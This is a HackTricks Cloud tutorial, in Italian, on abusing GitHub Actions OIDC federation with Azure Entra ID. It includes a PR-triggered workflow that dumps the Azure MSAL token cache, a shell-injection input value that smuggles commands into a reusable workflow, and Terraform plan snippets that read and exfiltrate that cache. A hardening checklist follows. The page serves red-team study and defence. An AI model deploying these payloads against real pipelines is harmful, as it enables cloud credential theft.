Azure – Abuso della federazione (GitHub Actions OIDC / Workload Identity)
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Panoramica
GitHub Actions può federarsi con Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Un workflow di GitHub richiede un GitHub ID token (JWT) a breve durata che codifica i dettagli della run. Azure valida questo token rispetto a un Federated Identity Credential (FIC) su un App Registration (service principal) e lo scambia per token di accesso Azure (MSAL cache, bearer tokens per Azure APIs).
Azure valida almeno:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (quando viene scambiato per token Azure)
- sub: deve corrispondere all'identificatore Subject configurato nel FIC
L'aud GitHub predefinito potrebbe essere un URL di GitHub. Quando si scambia con Azure, impostare esplicitamente audience=api://AzureADTokenExchange.
GitHub ID token quick PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Per forzare l'audience di Azure nella richiesta del token:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Configurazione Azure (Workload Identity Federation)
- 
Crea un'App Registration (service principal) e concedi i privilegi minimi (es., Storage Blob Data Contributor su uno specifico storage account). 
- 
Aggiungi credenziali di identità federata: 
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: strettamente limitato al contesto del workflow/di esecuzione previsto (vedi Scoping and risks qui sotto).
- Usa azure/login per scambiare il GitHub ID token e accedere all'Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Esempio di scambio manuale (ambito Graph mostrato; ARM o altre risorse in modo analogo):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) anatomia e personalizzazione
Formato predefinito del sub: repo:
I valori del contesto includono:
- environment:
- pull_request (PR si attiva quando non è in un environment)
- ref:refs/(heads|tags)/
Claims utili spesso presenti nel payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Personalizza la composizione del sub tramite l'API di GitHub per includere claims aggiuntivi e ridurre il rischio di collisione:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Nota: i due punti nei nomi degli environment sono codificati in URL (%3A), eliminando i vecchi trucchi di injection dei delimitatori contro il parsing di sub. Tuttavia, usare soggetti non unici (es., solo environment:
Ambito e rischi dei tipi di subject FIC
- Branch/Tag: sub=repo:/ :ref:refs/heads/ or ref:refs/tags/ 
- Rischio: Se il branch/tag non è protetto, qualsiasi collaboratore può pushare e ottenere token.
- Environment: sub=repo:/ :environment: 
- Rischio: Ambienti non protetti (nessun reviewer) permettono ai collaboratori di generare token.
- Pull request: sub=repo:/ :pull_request 
- Massimo rischio: Qualsiasi collaboratore può aprire una PR e soddisfare la FIC.
PoC: PR‑triggered token theft (esfiltrare la Azure CLI cache scritta da azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Posizioni dei file correlate e note:
- Linux/macOS: ~/.azure/msal_token_cache.json contiene MSAL tokens per le sessioni az CLI
- Windows: msal_token_cache.bin nel profilo utente; DPAPI‑protected
Reusable workflows and job_workflow_ref scoping
Invocare un workflow riutilizzabile aggiunge job_workflow_ref al GitHub ID token, ad esempio:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
Esempio FIC per associare sia il repository chiamante che il workflow riutilizzabile:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Configura le claims nel repo chiamante in modo che sia repo che job_workflow_ref siano presenti in sub:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Avviso: Se leghi soltanto job_workflow_ref nel FIC, un attaccante potrebbe creare un repo diverso nella stessa org, eseguire lo stesso reusable workflow sullo stesso ref, soddisfare il FIC e mint tokens. Includi sempre anche il caller repo.
Vettori di esecuzione di codice che bypassano le protezioni di job_workflow_ref
Anche con job_workflow_ref correttamente limitato, qualunque dato controllato dal caller che raggiunga la shell senza un quoting sicuro può portare all'esecuzione di codice all'interno del contesto del workflow protetto.
Esempio di reusable step vulnerabile (interpolazione non quotata):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Input del chiamante malevolo per eseguire comandi e exfiltrate the Azure token cache:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan come una primitiva di esecuzione nelle PRs
Tratta Terraform plan come esecuzione di codice. Durante il plan, Terraform può:
- Leggere file arbitrari tramite funzioni come file()
- Eseguire comandi tramite l'external data source
Esempio per exfiltrate Azure token cache durante il plan:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Oppure usare external per eseguire comandi arbitrari:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Concedere FICs utilizzabili su piani attivati da PR espone token privilegiati e può predisporre un apply distruttivo in seguito. Identità separate per plan vs apply; non permettere mai token privilegiati in contesti PR non attendibili.
Checklist di hardening
- Non usare mai sub=...:pull_request per FICs sensibili
- Proteggi qualsiasi branch/tag/environment referenziato da FICs (branch protection, environment reviewers)
- Preferisci FICs limitate sia al repo che a job_workflow_ref per reusable workflows
- Personalizza GitHub OIDC sub per includere claim unici (es., repo, job_workflow_ref, repository_owner)
- Elimina l'interpolazione non quotata degli input del caller nelle run steps; codifica o metti tra virgolette in modo sicuro
- Tratta terraform plan come esecuzione di codice; limita o isola le identità nei contesti PR
- Applica il principio del privilegio minimo alle App Registrations; separa le identità per plan e apply
- Fissa actions e reusable workflows ai commit SHAs (evita pin su branch/tag)
Suggerimenti per i test manuali
- Richiedi in-workflow un GitHub ID token e stampalo in base64 per evitare il masking
- Decodifica il JWT per ispezionare i claim: iss, aud, sub, job_workflow_ref, repository, ref
- Scambia manualmente l'ID token contro login.microsoftonline.com per confermare la corrispondenza delle FIC e gli scope
- Dopo azure/login, leggi ~/.azure/msal_token_cache.json per verificare la presenza dei dati del token
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud